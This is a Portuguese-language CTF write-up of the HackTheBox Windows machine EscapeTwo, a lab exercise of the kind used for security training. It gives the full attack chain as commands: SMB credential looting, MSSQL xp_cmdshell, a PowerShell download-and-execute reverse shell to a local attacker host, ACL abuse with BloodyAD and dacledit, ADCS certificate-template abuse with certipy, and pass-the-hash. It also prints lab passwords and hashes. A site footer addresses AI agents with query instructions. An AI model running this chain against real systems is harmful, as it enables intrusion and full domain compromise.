> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md). # Writeup do HackTheBox EscapeTwo Writeup da máquina Easy Windows EscapeTwo do HackTheBox cobrindo enumeração SMB, vazamento de informações de senha (zip, arquivo Excel), exploração MSSQL (Microsoft SQL) RCE, enumeração BloodHound, com pratica {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeração SMB * Vazamento de informações e senha (zip, arquivo Excel) * Exploração de RCE no MSSQL (Microsoft SQL) * Enumeração BloodHund * Usuário WriteOwner CA/\_SVC (Escalada de privilégios) {% endhint %} Neste teste de penetração em ambiente Windows, temos as seguintes credenciais: * nome de usuário: `rose` * senha: `KxEPkKe6R8su` ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

**Descoberta de Portas Abertas com Nmap:** Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts ```

**Análise das Portas Abertas com extractPorts:** Usando a função extractPorts para exibir de forma concisa as portas abertas e copiá-las para a `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` área de transferência

Varredura de versão das portas com Nmap: Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted ```

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo:

### Porta 445 - SMB **Validar o usuário com CrackMapExec** Confirmamos que o `rose` usuário existe no controlador de domínio (DC): ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' ```

**Exploração de compartilhamentos SMB** Listamos os compartilhamentos acessíveis com o `--shares` comando: ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares ``` **Resultado**: Duas pastas interessantes estão visíveis: * `Users` * `Departamento de Contabilidade`

/*/* Conectar ao compartilhamento SMB com smbclient/*/* Acessamos **Departamento de Contabilidade**: ```bash smbclient '//10.10.11.51/Accounting Department' -U rose ``` Neste diretório, recuperamos dois arquivos Excel: ```powershell get accounting_2024.xlsx get accounts.xlsx ```

**Identificação do formato do arquivo** Com a `arquivo` comando, determinamos que esses arquivos são, na verdade, arquivos ZIP.

**Extração de arquivo ZIP** Descompactamos os arquivos recuperados:

**Buscar informações sensíveis** Filtramos os arquivos extraídos para encontrar informações contendo a palavra-chave **senha**: ```bash find . -type f -name "*.txt" -exec grep -iH "password" {} + ```

**Resultado**: Um arquivo chamado `shareStrings.xml` contém uma lista de usuários e senhas.

Primeiro Nome	Sobrenome	E-mail	Nome de usuário	Senha
Angela	Martin	angela@sequel.htb	angela	0fwz7Q4mSpurIt99
Oscar	Martinez	oscar@sequel.htb	oscar	86LxLBMgEWaKUnBG
Kevin	Malone	kevin@sequel.htb	kevin	Md9Wlq1E5bZnVDVo
		sa@sequel.htb	sa	MSSQLP@ssw0rd!

**Testar IDs com CrackMapExec** Usamos as credenciais recuperadas para validar as contas: ```bash crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99' crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG' crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo' crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' ``` **Resultado**: Apenas o `oscar` usuário é válido.

## Exploração MSSQL (Microsoft SQL) **Porta 1433 (MSSQL)** A porta 1433 está aberta, o que indica que um servidor Microsoft SQL está escutando. Vamos testar as conexões com os diferentes usuários recuperados anteriormente.

**Teste de conexão com MSSQL** Usamos `mssqlclient.py` para tentar se conectar: ```bash mssqlclient.py sequel.htb/angela@10.10.11.51 mssqlclient.py sequel.htb/oscar@10.10.11.51 mssqlclient.py sequel.htb/kevin@10.10.11.51 ```

**Resultado**: Apenas o usuário `sa` funciona. ```bash mssqlclient.py sequel.htb/sa@10.10.11.51 ```

### Shell reversa via MSSQL **Habilitar execução de comandos** Para executar comandos de sistema, ativamos `xp_cmdshell`: ```sql enable_xp_cmdshell ``` Em seguida, testamos com um comando simples, como `ipconfig`: ```sql xp_cmdshell ipconfig ```

**Preparação de escuta na nossa máquina** Estamos iniciando um ouvinte na porta 4444: ```bash rlwrap nc -nvlp 4444 ``` **Baixar um script do PowerShell** Estamos preparando um script do PowerShell chamado `PS.ps1` que inclui um comando de reverse shell. No final do script, adicionamos a seguinte linha: {% embed url="" %} No final do script, adicionamos a seguinte linha: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444 ``` Hospedamos este script em um servidor web local: ```bash python3 -m http.server 80 ``` **Execução do reverse shell** Do servidor MSSQL, executamos o seguinte comando para baixar e executar o script do PowerShell: ```sql xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')" ```

## Pivotando para o usuário Ryan **Novas credenciais descobertas** Ao explorar o sistema, descobrimos um diretório chamado **SQL2019** na raiz. Dentro dele, encontramos as seguintes credenciais: * Nome de usuário : `ryan` * Senha: `WqSZAF6CysDQbGb3`

**Validação de IDs com CrackMapExec** Verificamos se essas credenciais são válidas: ```bash crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3' ```

Ao explorar diretórios compartilhados, identificamos um usuário chamado `ryan`. Testamos as mesmas credenciais que para `sql_svc`:

**Resultado**: As credenciais também funcionam para o usuário `ryan`. ```bash crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```

Evil-winrm ```bash evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```

### Flag user.txt :)

## Escalada de Privilégios ### Enumeração com BloodHound-python Comando usado: ```bash bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All ```

## WriteOwner: **Observação :**/ O **Ryan** usuário tem a `WriteOwner` autorização na conta **CA/ SVC** que também é a emissora do certificado. Isso significa que podemos modificar o proprietário da conta **CA/ SVC** para associar **Ryan**.

### Assumir o controle de CA/\_SVC com BloodyAD #### Alteração do proprietário da conta {% code overflow="wrap" %} ```bash bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan' ``` {% endcode %} O comando usa o BloodyAD para modificar o proprietário de **CA/ SVC** e defini-lo em **Ryan**. Como proprietário, **Ryan** agora pode alterar as permissões associadas à conta. ### Modificar permissões com Dacledit #### Conceder permissão total a Ryan {% code overflow="wrap" %} ```bash dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3 ``` {% endcode %} Este comando modifica a **DACL** (Lista de Controle de Acesso Discricionário) da **CA/ SVC** conta para dar controle total a **Ryan**. Isso permite que Ryan redefina a senha ou manipule chaves de autenticação.

### Extração de Shadow Credentials #### Gerar e recuperar a impressão do hash NT {% code overflow="wrap" %} ```bash certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51 ``` {% endcode %}

Hash NT para **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce` O **Certipy** comando gera uma chave de identificação para **CA/ SVC**, permitindo autenticação baseada em certificado. Um `.ccache` arquivo também é gerado, o que facilita ataques baseados em Kerberos. ### Modificação do modelo de certificado #### Ajuste o modelo DunderMifflinAuthentication {% code overflow="wrap" %} ```bash KRB5CCNAME=$PWD/ca_svc.ccache certipy template -k -template DunderMifflinAuthentication -target dc01.sequel.htb -dc-ip 10.10.11.51 ``` {% endcode %}

Este comando modifica a **DunderMifflinAuthentication** modelo de certificado para permitir a emissão de certificados com privilégios elevados. ### Emissão de um certificado para o administrador #### Solicitar um certificado para impersonação {% code overflow="wrap" %} ```bash certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 ``` {% endcode %}

Este comando requer um certificado em nome do Administrador (`Administrator@sequel.htb`), permitindo usurpar a identidade dessa conta. ### Autenticação como Administrador #### Uso do certificado para autenticar ```bash certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51 ```

**Hash NTLMv2 :** `7a8d4e04986afa8ed4060f75e5a0b3ff` ```bash evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff" ```

Este comando autentica como Administrador com o certificado obtido anteriormente e recupera o hash NTLM. ### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.